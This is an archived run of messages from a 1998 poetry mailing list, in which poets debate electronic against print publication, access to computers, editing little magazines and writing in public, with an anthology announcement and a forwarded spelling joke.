> ` ----->*<-----
> ` K E N N I N G|
> ` anewsletterof|
> ` poetry&poetic|
> ` s418BrownSt.#|
> ` 10IowaCityIA5|
> ` 2245USA\/\/\/|
>

--

Heather Starr
work: [redacted]
home: [redacted]

↑ Index

47. jarnot
Anthology of New American Poets
Mon 2 Mar 1998

Announcing the publication of
An Anthology of New (American) Poets
edited by Lisa Jarnot, Leonard Schwartz, and Chris Stroffolino
from Talisman Books,

featuring

Mary Burger,
Lee Ann Brown,
Jordan Davis,
Thomas Sayers Ellis,
Drew Gardner,
Peter Gizzi,
Jennifer Moxley,
Mark Nowak,

Hoa Nguyen,
Rod Smith,
Elio Schneeman,
Juliana Spahr,
Mark Wallace
Elizabeth Willis...

and many others

available now at bookstores near you and through Small Press Distribution.

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48. Gabriel Gudding

Web Communities, Poetry, Spicer & useful binaries

Mon 2 Mar 1998

> *On Sun, 1 Mar 1998, William Marsh wrote:*
>
> *no longer a problem, as public libraries go on-line etc., as Bill Gates (bless him?) donates millions to furnish Microsoft-ready workstations (the business is still there--but let's take advantage, i guess) /*
>
> *as for "collective actions," one exciting possibility that i'm exploring*
>
> *etc. -- the popular "you can't curl up in bed with a PC" is generally true, tho not for long, as MIT works while we sleep to build paperback-sized laptops with page-like resolution*

Thomas Bell wrote:

> *What I find energizing with epublication is the potential for bottom-up accretion of knowlege, people, pages, etc. Top-down still has a place but I was never much for _Dictionaries of (_____) Literature_, authorative guides, etc. I have started my own heap of sweepings.*

---------- I'll start with two cliches: Seeing epublication as a kind of demo-utopic option is not an option. Bottom-up is exactly how top-down structures are built.

Let me put that another way. E-word is certainly different from ink-word. But both are themselves radically different -- different in kind, not degree -- from the spoken word. Trying to cultivate some new utopia in the tiny valley between e-word and ink-word strikes me as just more neophilia. The impulse toward abandoning books in favor of screen for some sense of community or non-traditional community is understandable, but the screen is a highly privatizing mechanism, serving only to remind us, in the words of Kavanagh, that we "aren't alone in our loneliness." Spicer kept insisting that we never lose sight (?) of the voice:

"They [New Critics] have taken poetry (already removed from its main source of human interest -- the human voice) and have completed the job of denuding it of any remaining connection with person, place, and time.... Live poetry is a kind of singing. It differs from prose, as song does, in its complexity of stress and intonation. Poetry demands a human voice to sing it and demands an audience to hear it. Without these it is nake, pure, and incomplete -- a bore." (This lifted straight fr Hoover's Norton, including ellipsis.)

To say then that it's in great part a matter of how many have access to computers is sort of crazy: that's just another version of that very weird and very American impulse to have MORE THINGS (if we just had more things -- more computers, more laptops, more and softer and smaller gatches so we can curl up in bed with them!) Waiting on MIT to come out with their next dingie is like placing all hope for America in Flint Michigan, which of course the nation once did: "The PC -- it's not just a computer, it's your freedom." Come on! The proliferation of screens or books in itself neither makes nor destroys communities: it's what, to refer back to Spicer, the human voice dares do with those books (screens) that brings people together or drives them apart. If I assert that the memory of the spoken word is much stronger than the presence of the written word (whether type-face or pixel), would I be wrong?

THis is of course the old much-maligned binary btw spoken and written word, but it serves a purpose when considering the new muchma-loved binary btw ink and e-word. What is inksome isn't necessarily irksome: it's HOW something is spoken -- out loud -- it's not WHAT is said or read (whether these are "meta-zines" or meta-meta zingy-zines or e-zippy neo-zines or zappy zingzangy zines): a zingy zangy e-word or ink-word cannot compete with the singy-songy of the spoken word.

Gabriel Gudding

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49. Christopher W. Alexander

Re: Critical issues

Mon 2 Mar 1998

George Hartley wrtts:
> > Let's spread out the work, not burden any one person with this, AND get more
> > people published, even if "only" online. Hell, let's get social! Think of it
> > as a webbing bee.

to which Joel Kuszai repliis:
> yeeehah! i feel like a real hopeful member of a search party. I'm also on

> a utopia/utopias list and now I find myself deleting IT all the time.
> Let's get organized. Who wants to help? "What is there to be done?"

Alright, then. I'm certainly willing to pitch in.
(it's sort of like a barn-building, no?). do we
have clearance for take-off? are there directions
the EPC author pages are already wanting to
go (e.g., folks that need to be covered asap –
any chance we can see Loss' list?). there are
some serious omissions – it's too much to
expect one or a few folks to build a very large
edifice. I guess we can all see what the template
is for the pages, shall we begin?

shhhh – rattletrap. ok, I'm ready.

I can do a Spicer page (unless...), a page for
Peter Ganick, and Linda Russo and I can col-
laborate on a page for Kathleen Fraser. I'd be
willing to do others, too.

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

50. Joe Ahearn
Re: Writing in Public
Mon 2 Mar 1998

> *First instance I can think of, though, of a poet writing in public would probably be Pound in the wire cage in the mud at Pisa.*
>
> *Ron*

Owen and Sassoon wrote in the trenches in France. Another horrible public experience. Perhaps one of the keys to our time is poets writing in public voluntarily and publicly.

Robert Hass, the recent poet laureate, pledged to write poetry whenever he used public transportation. The rub is that there is so much busywork to being

the PL that he had to write when travelling or not write at all. We take a working poet (mainstream or not, a working poet), make him/her the PL, and then sentence her/him to millions of meetings with Rotarians...

Joe Ahearn

_____
[redacted]

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51. Judy Roitman
Re: eletronic kisses
Mon 2 Mar 1998

> *I haven't finished reading through the weekend's posts yet....Very likely I'll find that someone said something like this, but..I feel rather strongly moved by the cyber-spirit to say:*
>
> **In extension of stuff Tom Beckett has said, and several others have nodded to: I'm made *very* uncomfortable by the fact that the websters don't quite see how the immediate poetry-community structure has become split.*

Which exacerbates the previously existing split of those who have relatively easy and cheap access to the sorts of things that come up on this list (through university libraries with decent collections; through poet friends; through this list; and mostly through not only being at the right place at the right time but through knowing the right people in those places and times) and those who don't.

I well remember my years in the wilderness when I didn't know that anything worth reading existed (this is an exaggeration, but not by much).

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

52. Miekal And

[Fwd: <nettime> [FWD] towards a europanto: a five-year plan]

Mon 2 Mar 1998

---

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with ESMTP id QAA07417
for <[redacted]>; Mon, 2 Mar 1998 16:42:01 -0600 (CST)
Date: Mon, 2 Mar 1998 19:20:18 +0100
From: t byfield <[redacted]>
To: Nettime <[redacted]>
Subject: <nettime> [FWD] towards a europanto: a five-year plan

The European Union commissioners have announced that agreement has been reached to adopt ENGLISH as the preferred language for European communications, rather than GERMAN, which was the other possibility.

As part of the negotiations, the British government conceded that English had some room for improvement, and has accepted a five- year phased-in plan for what will be known as EuroEnglish (Euro for short).

in the first year, "s" will be used instead of the soft "c". Sertainly, sivil servants will reseive this news with joy. Also, the hard "c" will be replaced with "k", not only will this klear up any konfusion, but typewriters kan have one less letter.

There will be growing publik enthusiasm in the sekond year, when the troublesome "ph" will be replaced with "f". This will make words like "fotograf" 20 per sent shorter.

In the third year publik akseptanse of the new spelling kan be expekted to reach the stage where more komplikated changes are possible. Governments will enkourage the removal of double letters, which have always been a deterent to akurate speling. Also al wil agre that the horible mes of the silent "e" in the languag is disgrasful, and that would go.

By the fourth year, people wil be reseptiv to steps such as replasing "th" by "z" and "w" by "v".

During ze fifz year, ze unesesary "o" kan be droped from vords kontaining "ou"' and similar changes vud of kors be be aplid to ozer kombinations of leters.

After ze fifz yer, ve vil hav a sensibl riten styl. Zer vil be no mor trubls or difikultis, and evrivun vil find it ezi to understand ech ozr.

Ze drem vil finali kum tru. !!!

--
"...curse you, Byfield....Nurse! Time for my bong hit..."

--- # distributed via nettime-l : no commercial use without permission # <nettime> is a closed moderated mailinglist for net criticism, # collaborative text

filtering and cultural politics of the nets # more info: [redacted] and "info net-time" in the msg body # URL: http://www.desk.nl/~nettime/ contact: [redacted]

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53. William Marsh
Re: this is the hour of the web
Mon 2 Mar 1998

Patrick

yes, "Of Two Minds" treats some of these issues well / the URL for M.Joyce's webpage is

http://iberia.vassar.edu/~mijoyce/

best,
bill

At 12:24 AM 3/2/98 -0600, you wrote:
>
> Well, some of the questions raised by this thread, especially as
>regards web-rings (meta-zines through aggregation), and the preference of
>pages to web-pages are addressed in multiple ways in Michael Joyce's book,
>"Of Two Minds" -- see also his web page, the url of which I haven't got
>on hand just now. I wish I'd WRITTEN IT DOWN somewhere.
> As far as the writing is concerned, I'm currently writing my first
>poem in hypertext and staring into the screen I find helps align me with
>the structure of the piece, somehow. In most cases, I'd rather read the
>printed word (which is why I publish my journal Kenning in that
>money-losing format), whereas I write to the screen and generally feel
>uncomfortable when I cannot. That's my vote.
> Patrick F. Durgin
>
>`
>`
>`
>` ----->*<-----
>` K E N N I N G|
>` anewsletterof|
>` poetry&poetic|
>` s418BrownSt.#|
>` 10IowaCityIA5|
>` 2245USA\/\/\/|
>

>On Sun, 1 Mar 1998, William Marsh wrote:
>
>> this recent discussion both exciting and exasperating / yes, access is soon
>> no longer a problem, as public libraries go on-line etc., as Bill Gates
>> (bless him?) donates millions to furnish Microsoft-ready workstations (the
>> business is still there--but let's take advantage, i guess) / but besides
>> access, and this more to Tom's post below, web artists, e-publishers, etc.,
>> have to consider common-denominator ceilings on an "audience"'s PC
>> capabilities -- modem and computer speeds, for example -- which limit some
>> people's "viewing power" once they've managed to view
>>
>> as for "collective actions," one exciting possibility that i'm exploring
>> currently with another publisher is "cross-publishing", where respective
>> sites (two or three art or poetry e-zines, for ex) build links to each
>> other's servers to create a small web ring -- the model is the net itself,
>> which we're constantly reminded is actually one big meta or hypertext /
>> like-minded ventures this way aspire to the kind of "larger-than-myself" or
>> "mysite" attitude i think Miekal And was calling for, not only promoting
>> but subsuming each other -- creating "metazines" through aggregation
>>
>> otherwise, i think it's extremely important for web workers to remember
>> what makes e-publication special and potentially different from paper
>> publication (not better or worse, obviously, since they currently do and
>> always will occupy separate domains, and what's interesting is how they
>> nudge and redefine each other's parameters) / in general reply to Mike K's
>> earlier query about people's preferences for reading (online, printout),
>> the use of the web as a text archive to my mind is a drag, tho i'm the
>> first to applaud its value for research, for "quick hits" of people's work,
>> etc. / currently the page is a much more comfortable space (some will
>> disagree i hope) for reading large blocks of text, for reading on buses,
>> etc. -- the popular "you can't curl up in bed with a PC" is generally true,
>> tho not for long, as MIT works while we sleep to build paperback-sized
>> laptops with page-like resolution / but finding a way to simulate the
>> experience of page-reading is hardly the point (akin to meat substitutes) /
>> i think it's much more important to consider what has contributed to our
>> historical familiarization with book and page technologies as "comfort
>> zones", what in other words makes us hit the print icon when we find
>> something on the net we wanna read / and what then might define comfort-
able
>> uses of the web for reading, viewing, web publishing, etc. -- again
>> carefully thinking about what can be done online that can't be done in
>> print / maxing the media, iow, not just mixing -- just as some of the best

>> books test the limits of that technology too
>>
>> bill m
>>
>>
>> At 07:32 PM 2/28/98 EST, Tom wrote:
>> >I've been reading and re-reading Miekal's and Joel's recent postings.And I'm
>> >fascinated by the possibilities that the web would seem to present for
>> >collective actions. I need more education in these matters and look forward
>> >hearing what others have to say.
>> >
>> >Tom B.
>> >
>> >
>>
>> -
>> William Marsh
>> PaperBrainPress
>> Voice & Range Community Arts
>> National University
>> [redacted]
>> http://www.dtai.com/~bmarsh
>> snail: 1860 PB Dr. #4
>> San Diego, CA 92109
>> -
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>
>
>

- -
William Marsh
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Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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54. Dale M Smith

You Too Can Edit a LitMag (or can you?)

Mon 2 Mar 1998

Unless you're loaded, publishing a little mag takes craft, energy and imagination. That's enough to go on. You either obtain a photocopier or make friends with someone who has access to one. Distribution is a problem, but there are creative ways to get the things out once they're ready.

At Mike and Dale's, we lovingly letterpress each cover. Each issue is designed with attentive skills by an artist who willing devotes his time to our little cause free of charge. (Check out those EXPLOSIVE covers too, silk-screened and gorgeous).

We set the type in Quark and I'm alwayspicking up design tips from graphic design folks. My first mag was an awkward clutter of poems. But over time I've managed to make it look as good as any pub. If we had the money I would ideally have each issue offset and perfect bound. But M&D, EXPLOSIVE and other little zines have a rough beauty to them. At least I like to think so. You almost have to think so with all the time that goes into it.

Soliciting materials is easy. You contact poets and read their works. Take what you can use and return the rest.

E-publications suck. But it looks like the future, in many ways, for poetry's market. Stillthe web is a medium every poet should hate. It limits the value of physical production. It limits the mobility of the product, tying the reader to one location, for me, often at work. It lacks the correlating physical materials that provides support to the word, reminding us of poetry's very tactile relation to the world, not to our own inner subjectivity. It promotes every kind of self indulgence becaue it is easier to reproduce inferior work. If you have to set type, line up each page, produce it, copy it and bind it you're gonna want to present poetry of the highest quality. On- line you might be tempted to publish lesser works because there is less time and money invested in it. Finally, the idea that the web is democratic in any way is way off. There are still two communities out there. Printed and online communities. For many, these areas cross. For many, they don't. Ideally you'd want to share work with both groups. That's a problem.

For me publication is about the work. And the best way to present that work is still the book. It gives a shape and coherence to the work. The web leaves that shape undefined. The book is the vehicle for this work we do. Without that, we are only addressing each other in a void. Noise results. Did somebody say something?

To: [redacted]

> *TB wrote:*
>
> *I would challenge everyone on this list who has not had the experience of editing/publishing a magazine or running a reading series to begin to do so sometime within the next year. It could be frightening.*

This might be the type of question where the answer is, "if you have to ask, you'll never know," but what are some of the many ways one can go about setting up a magazine? I'm talking about the material questions here: How much does it cost? How cheaply can it be done? How do you handle the printing? The distribution? The rejection notices? How do you choose a name, for instance? Do you get institutional funding, or do you go it alone? Etc...

Along these lines, I'm about halfway through Michael Cuddihy's memoir, _Try Ironwood_, about his late lamented magazine. It's great, but these questions have gone unasked in that book (I get the feeling he had access to money besides the NEA grants -- not that he was living on easy street given his illnesses, of course, but money didn't seem to be a problem for the mag).

So Poetix folks: I know full well some of you HAVE your own mags and have been dying since this thread has started to talk about them. Here's your chance: Any how-to advice? Horror stories? Success stories? etc etc.

David Zauhar
University of Illinois at Chicago

So often nothing happens
and then when something does
noone notices.

--Alan Davies

(Thanks to Tom Beckett for this week's signature. Coming next week: Bern Porter)

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55. Bob Grumman
Re: eletronic kisses
Mon 2 Mar 1998

Just a note to say I don't think the split between cyber-empowered and acybric poets too important. To me it's like the split that occurred years back between typewriter-empowered and pencil poets. All kinds of adjustments are going on, like access to computers at libraries or one's workplace or school. Friends with computers should be available, too. And I suspect that equivalents of Kinko's

will pop up where you can scan hard copy onto disks cheaply. Indeed, I wonder that Kinko's doesn't already offer such a service. Maybe it does. Plus, being cyber- empowered isn't all that big a deal right now: poetic cyber-space is too disorganized and hard to get around in (at least for me, still in my first year in cyber-space) for it to be much of a factor. It DOES let one communicate much more easily and cheaply with people on the net, which is a plus--but no more empowering than having enough money for long-distance phoning is for some poets (never me). My final thought is that the cyberization of poetry is among the least of the huge number of problems facing serious poets.

--Bob G.

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56. Joe Amato/Kass Fleisher

Re: You Too Can Edit a LitMag (or can you?)

Mon 2 Mar 1998

---

rather than issue a once-and-for-all edict re new media (as dale has just done, and he's in good company---three nobel laureates have made similar claims, as has andrei codrescu):

listen folks: if you could only SEE the strings attached to those hunks of paper out there we all call *books*...

well you CAN: just have a close look, real close now, and ask how that thing got in your hands, start to finish...

the web, the internet, is part of the digital world---same one that brings you (next generation) copier-printers, same one that brings you quark, same one that brings you tv, and poetics, and rice crispies (hey---think about it)... print and broadcast media combined becomes something else again, good and bad and in-between (it's human, for chrissakes)... turning one's back on this as a poet is worse than retro, now that so many poets have migrated into these regions... the access questions are not going to go away---EVER... anymore than the food questions will... perhaps broadsides will be the way to go in places where people can't find enough to eat---you tell me...

but the larger issues re poetry and poetix really do have to do with how to make do with what each has (access to and so forth)... now how about that, huh?---all on this list have (as mark p indicates) different levels of access... but we're all here, somehow, variously connected... now we can activate to get others online, however... but to argue against doing things with the online resources at hand?---someone please explain to me how this is either necessary or desirable?... and how this is *not* a reactionary gesture, finally, in the face of those

sundry realities that currently shape print publishing (nothing against the latter either)...

best,

joe

↑ Index

57. **henry gould**
Re: You Too Can Edit a LitMag (or can you?)
Mon 2 Mar 1998

One of the things Edwin Honig used to say is that he became a poet because all he needed was a pencil, it's a very portable art form. As Dale says, a good tactile book is a work of art in itself & a joy to be & hold; but in the end, the medium is not the message. The poem is the poem, the message is the message. The poem can expand into different media (visual, aural, conceptual), but then poems can be, prior to all these media. The word per se, via pencil, or lips.

I would rather read, myself, in non-cyberspace. Easier on the eyes, more pleasing to hold. But as people have been saying, even reading is changing. Soon we'll have these little electrotalking pocketbooks, I suppose - and you won't "click", you'll "flip". But I like the crinkle of the dry driftwood clouds & the ink smell, and especially the glue. The glue, the smell of composting paper from some dumpster in India. Every book is connected to the great outdoors because it's fading fast - that's the last breath of fresh air for both you & your book. I lost a whole knapsack of books once on a bridge in a papermill-stinking town in northern Minnesota - into the river they went. Those books were trying to return to their native home. - Henry Gould

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58. **Shemurph**
Re: Writing in Motion
Mon 2 Mar 1998

Adding to Joe's post: << Robert Hass, the recent poet laureate, pledged to write poetry whenever he used public transportation. The rub is that there is so much busywork to being the PL that he had to write when travelling or not write at all. We take a working poet (mainstream or not, a working poet), make him/her the PL, and then sentence her/him to millions of meetings with Rotarians...

In a combo of intuition (mine) and alleged fact that someone shared not long ago (requires substantiation), there are chemical reasons for what SEEM

spectacular results associated with writing while in motion. Apparently (this lore has it) the physical motion releases something (could it be the ususal "phins" from running?) in the body that seems to induce the process of creating.

Yours truly has had (of necessity) to write on airplanes, and have recently taken to riding public transport whenever possible (Phoenix is not conducive to an all-out effort in this direction YET). I can say only that I *sense* evidence that writing in motion is very useful and pleasurable.

Trains, of course, feel best, but we don't have them here, alas.

S. Murphy

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59. Mark Weiss
Re: eletronic kisses
Mon 2 Mar 1998

Mark P.'s reference to "the ability to concentrate" is I think central. The experiences of reading on-line and on paper are decidedly different. Scrolling, and the insistent light-source, enforce an in-the-moment reading that makes of the poem a transitory thing, and poetry written with the web in mind is likely to remake itself for that requirement. The equivalent of sound-bites, one after another. One can write good poetry within those constraints, but most poetry unfolds, beyond first acquaintance, slowly, and the casual referencing at the oddest moments to this or that line or section effectively restructures the experience of reading the poem, deepening one's penetration of the text, one's pleasure in the experience, and expanding its structure. Books facilitate this. A new book of poems is likely to sit on the floor by my bed for a long time, or travel with me in a pocket (the joy of paperbacks). I finally "got" Creeley, for instance, in bars and public parks, and "The Opening of the Field" went with me on a backpacking trip to the Adirondacks. The point is, or a point, anyway, is that the kind of concentration required for the reading of poetry is not, in my experience, summonable at will--it's rather akin to the energy required to write a poem (which is one reason why work by a poet unknown to an editor has a harder time making it past the gate the first time out). It's hard to remain available to those moments if a computer is required. There's also the way the book falls open. The beginning or end of the poem accesses the poem on the facing page, and one journeys through becomes a series of discoveries, orchestrated by the poet or editor's ordering of the poems. And this is instantly visible, not only as a succession of lines, but as a structure on a page and on successive pages perceived whole. Then there's the question of design. When I design a book the poems seem to

tell me, after prolonged meditation (and of course within the limits of my finances and design experience), how they should look. This selection of paper, the texture of the cover, etc., details that I don't think a computer print-out can replicate. Even the kerning of the text--how much randomness to allow--is determined by the character of the material.
A computer, for me, is a convenient way to sample a range of work. If I like it, I'll buy a book.
At 09:40 AM 3/2/98 -0500, you wrote:
>I haven't finished reading through the weekend's posts yet....Very likely
>I'll find that someone said something like this, but..I feel rather
>strongly moved by the cyber-spirit to say:
>
>*In extension of stuff Tom Beckett has said, and several others have
>nodded to: I'm made *very* uncomfortable by the fact that the websters
>don't quite see how the immediate poetry-community structure has become
>split. This will be a temporary, and rapidly evolving situation. But it
>is going to exist in some form for some time.
>
>*I know important and dynamic poets, writers, and readers of poetry who
>don't have much (or any) access to web and net modalities. This makes a
>huge difference as resources get shifted to cyberspace.
>
>*Eventually, public libraries will provide something apporaching
>half-adequate resources for accessing "non" and other great
>cyber-publications. But this will continue to be a troublesome option, in
>relation to the hours poets can manage to spend in their public library,
>the ambiance and ability to concentrate, etc., & very importantly: their
>ability to submit if paper submissions are not accepted for electronic
>venues. Etc.
>
>*Already (in a way many folks who've just posted apparently don't see)
>there is a large split between cyber-empowered poets and others; a gradual
>evolution of a two-tier structure in what had been a purely paper culture
>not long ago...
>
>Mark P.
>@lanta
>
>

↑ Index

60. ScoutEW
EdWard Dorn Update
Mon 2 Mar 1998

I was told recently that Ed Dorn has been sick. I would really love an update as to how he is coming along, possibly an e-mail or po box address so I can send him a message. Someone please post something to let me know how he is doing. thanks Erik Sweet Albany, New York, 1998

↑ Index

61. William Marsh
Re: eletronic kisses
Mon 2 Mar 1998

At 09:40 AM 3/2/98 -0500, Mark wrote:
>>
>*Already (in a way many folks who've just posted apparently don't see)
>there is a large split between cyber-empowered poets and others; a gradual
>evolution of a two-tier structure in what had been a purely paper culture
>not long ago...

gosh, why just two tiers? even within the community of cyber-empowered poets, readers, students, citizens, i see or at least sense emerging striations: writers/artists working for businesses or institutions who get to use the newest-latest company software and hardware to construct and distribute their work, others who get email and internet browsing, small web pages, and that's it, others without such affiliations but with enough income to purchase/upgrade to the hot new machines and programs, others who pinch and save for a while only to watch as their brand new equipment gets outmoded after 6 months or a year, others who don't have access to e-venues by choice or by lack of financial empowerment, etc., with several possible permutations within this latter group as well / and yes, the differences between these cyber-artist groups create power differences, as some garner access to technologies that others don't have

> **Eventually, public libraries will provide something apporaching half-adequate resources for accessing "non" and other great cyber-publications. But this will continue to be a troublesome option, in relation to the hours poets can manage to spend in their public library, the ambiance and ability to concentrate, etc., & very importantly: their ability to submit if paper submissions are not accepted for electronic venues. Etc.*

up until a few years ago, most of the reading i did was in the public and university libraries (not as a student) because i couldn't afford to buy the books i wanted to read (i'm super fortunate to be in San Diego where UCSD houses the

terrific new poetry archive, and that helped) / i don't see how using public library computers (assuming they have them, i admit) is any more a "troublesome option" than using library books -- multiple users, time restraints, ambiance have always been a problem in libraries / and i'm not sure if public internet machines allow this function or not, but there is free e-mail available (and free websites through Geocities or the like? perhaps someone who knows more could clarify) -- in fact, assuming this free email service does still exist and can be used on a public machine, it would be cheaper and easier to send submissions electronically than through the mail

> **I know important and dynamic poets, writers, and readers of poetry who don't have much (or any) access to web and net modalities. This makes a huge difference as resources get shifted to cyberspace.*

i think it would be important to know why these poets, writers and readers don't have access, how they could get it if they wanted it (if possible) / i'm sure the stories are different, the reasons diverse, but i think it would be wrong to think that "cyber-empowerment" necessarily requires the right job or right income (not nec. your claim, Mark, i can only speculate) / i know i had to take on more work in order to save enough money to buy a computer / i also have friends who've done similar things, or sold tv's to pay for second-hand PC's, etc., and who make fewer long distance calls (to friends like me!) in order to pay for phone or cable modem services / i also remember life in a "purely paper culture" when similar budgeting (time and resources) was necessary to get the book, go to the reading, mail the submission, etc. / access is just as much an issue in the paper world as it is in the electronic, and is contingent on several other things too (geographical location, community funding), so again, i'm curious to know why these folks don't have access

i also think those currently with better access and machines, etc., can help out those without by web-enabling their work and sending it to e-zines or posting it in web venues / if anyone has paper they want converted to pixels, please send it along / which also suggests opportunities for collaboration (revising a friend's work for e-performance, for ex) that might serve to compress the tiers Mark describes

bill

- -

William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh

snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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62. Laura Moriarty
archival strategies
Mon 2 Mar 1998

Miekal and others -

took short break from computer to have earth life but coming back find much life teeming (teaming?) here as well -

As an (unemployed) eletronic archivist, I am not directly aware of the policies of print collectors, but I think Yes it is a strategy to create something that can be easily printed out and can be made relatively delectable in hard copy - (I add things to the printouts) - My experience electronically was that there can be problems of platform - Various hardwares becoming obsolete and the information stored in a way that is only compatible with those hardwares becoming inaccessible -

Of course one can transfer the data to a new format - but you have then doubled your storage needs (unless you arrive at the point of finally trashing the original - whatever that is electronially speaking -) - You can also spend your life transferring data - And if you have it done by a bot you of course find yourself with too much of everything - I find I must print out and physically file corrspondence etc for it to be of any use - The set of relationships one creates by making such files is an archivable work in itself -

It seems that what we are doing on this list and one of the uses of web rings or even just plain links is the fact of linking and quick communication - A self-perpetuating organization occurs which is close to being alive - It makes up for the the lack of portability and tactility that e zines suffer from - Although if a new e zine can have a global readership (they of course can and do) - another kind of portability is created -

Laura

At 03:40 PM 2/28/98 +0000, you wrote:
>Laura Moriarty wrote:
>
>
>> I try to send printouts of non to the not-netted (though of course some
>> texts and images are web-only knowable) - As an archivist I know that such
>> hard copies collected at the various archives will be of lasting importance -

>
>I detect a strategy here, & would like to know more. Are you saying
>that the same archives that collect small press & bookart are also
>interested in a hardcopy version of webworks? How are they being
>catalogued? Are you binding actual volumes or are you handing them
>looseleaf xeroxes. Do you think such works get treated equal to
>published volumes or is it treated as ephemera, like say an author's
>letters?
>
>
>
>
>
>> Relatedly -
>>
>> Recently got some stats for non that suggest much readership - many hits
>> form all over the world and want to thank people for checking in -
>
>When I compare how many hits we get on various sites to how many people
>have read a Xexoxial book, I have to console myself that ehy are really
>2 different mediums. There is of course the question of how many of
>those "hits" actually consume content.
>
>
>
>> I've always thought that it's good to give something to the writing
>> community esp if you expect anything back - run a series, publish a maga-
zine
>> etc - It feeds the work -
>
>I think the days of poets being supported by a critical & publishing
>that is separate from their own life's work have largely come to pass.
>Of the 100s of writers/artists Im in contact with, I really dont know
>one that isnt participant in at least some of the other furniture of
>creating poetic culture, whether it be publishing, distributing,
>bookstores, working in archives & libraries, radio, reading series,
>collaborations, teaching & promotion.
>
>
>
>> I also think (on another thread) that it's hard for anyone to really imagine
>> David Bromige's true glamour if they haven't experienced it in person -

>
>You know, I invited David to come show me his goat milking tricks for
>just that reason.
>
>

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

63. ScoutEW
Re: Writing in Public
Mon 2 Mar 1998

Ron, whatabout Walt Whitman writing outdoors everywhere, anyplace and even in the dark outside on beaches at night?

↑ Index

64. David Israel
Neophilia
Mon 2 Mar 1998

[was, Re: Web Communities, Poetry, Spicer & useful binaries]

am dropping into this outa context, sotosay (having not as yet perused the antecedents) -- but this begs for remark:

Gabriel Gudding wrote,

<< E-word is certainly different from ink-word. But both are themselves radically different -- different in kind, not degree -- from the spoken word. Trying to cultivate some new utopia in the tiny valley between e-word and ink-word strikes me as just more neophilia. . . . >>

where's the necessity of either/or here?
the dream-world doesn't replace the waking world, but helpfully supplements it.
the e-world doesn't replace the ph-world, but does the same.
the ink world, ditto re: the laryngeal world,
ditto the world of unspoken thought, etc. -- if I may so opine --

neophilia is a wonderfully self-ironic neologism, eh? -- just more neophilia -- coining a neologism while denouncing (or belittling) love of the neo qua neo, eh? --

| it was night
| then yon orient horizon

| flushed w/ faint traceries of dawn --
|
| it was just more neophilia

/ end of outa-context notation

d.i.

↑ Index

65. Mark Prejsnar
Re: eletronic kisses
Mon 2 Mar 1998

I just don't think Bob is right on a number of points he makes below. My original post was cautioning that this is a problem *with respect to those publications which *are* shifting to cyberspace.* Yes, from among the large array of practical (and artistic) problems facing poets right now, this one would not be chosen as in the the top 5 or ten. But that wasn't what was being discussed. I can't fully interact with web and net (especially web) oriented publishing, and know a lot of poets of whom this is true....Bob seems maybe to have misunderstood the purpose of my post: I just think the folks who (doing a very good job of it, by the way) are shifting their publishing operations into c-space should be aware of the structure of the current poetry world...

On Mon, 2 Mar 1998, Bob Grumman wrote:

> *Just a note to say I don't think the split between cyber-empowered and acybric poets too important. To me it's like the split that occurred years back between typewriter-empowered and pencil poets. All kinds of adjustments are going on, like access to computers at libraries or one's workplace or school. Friends with computers should be available, too. And I suspect that equivalents of Kinko's will pop up where you can scan hard copy onto disks cheaply. Indeed, I wonder that Kinko's doesn't already offer such a service. Maybe it does. Plus, being cyber-empowered isn't all that big a deal right now: poetic cyber-space is too disorganized and hard to get around in (at least for me, still in my first year in cyber-space) for it to be much of a factor. It DOES let one communicate much more easily and cheaply with people on the net, which is a plus--but no more empowering than having enough money for long-distance phoning is for some poets (never me). My final thought is that the cyberization of poetry is among the least of the huge number of problems facing serious poets.*
>
> *--Bob G.*

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66. William Marsh

Re: You Too Can Edit a LitMag (or can you?)

Mon 2 Mar 1998

>E-publications suck.
                WORK.

But it looks like the future, in many ways, for poetry's
>market. Stillthe web is a medium every poet should hate.
                LOVE.

It limits
    ALTERS

the value
>of physical production. It limits
                EXPANDS

the mobility of the product, tying the
>reader
    CONNECTING THE WORKS

to one location,
TO SEVERAL LOCATIONS

for me, often at work.
AT WORK, AT HOME, IN SCHOOL, IN AUSTRALIA

It lacks the correlating
>physical materials
        CREATES A CORRESPONDING ELECTRONIC SPACE

that provides support to the word, reminding us of poetry's
>very tactile relation to the world, not to our own inner subjectivity. It
>promotes every kind of self indulgence
                AWARENESS

becaue it is easier
        HARDER

to reproduce
TO PRODUCE

>inferior work.
NOTICEABLE WORK.

If you have to set type, line up each page, produce it, copy
>it and bind it
        ENTER TEXT, CODES, DEFINE FONTS, COLORS, LINE UP EACH

NODE, CONSTRUCT
LINKS, DESIGN IMAGES

you're gonna want to present poetry of the highest quality. On-
>line you might be tempted to publish lesser works
MIGHT BE ABLE TO PUBLISH GREATER
WORKS

because there is less
>time and money
JUST AS MUCH TIME AND MONEY

invested in it.
>
>For me publication is about the work. And the best way to present that work
>is still the book.
CAN BE THE BOOK OR CAN BE THE WEB.

It
ALL OF IT

gives a shape and coherence to the work. The web
>leaves that shape undefined.
DEFINES ALTERNATIVE SHAPES.

The book is the vehicle
THE BOOK AND THE WEB ARE TWO OF THE VEHICLES

for this work we do.
>Without that, we are only addressing each other in a void. Noise results.
>Did somebody say something?

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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67. Dale M Smith

Re: You Too Can Edit a LitMag (or can yo

Mon 2 Mar 1998

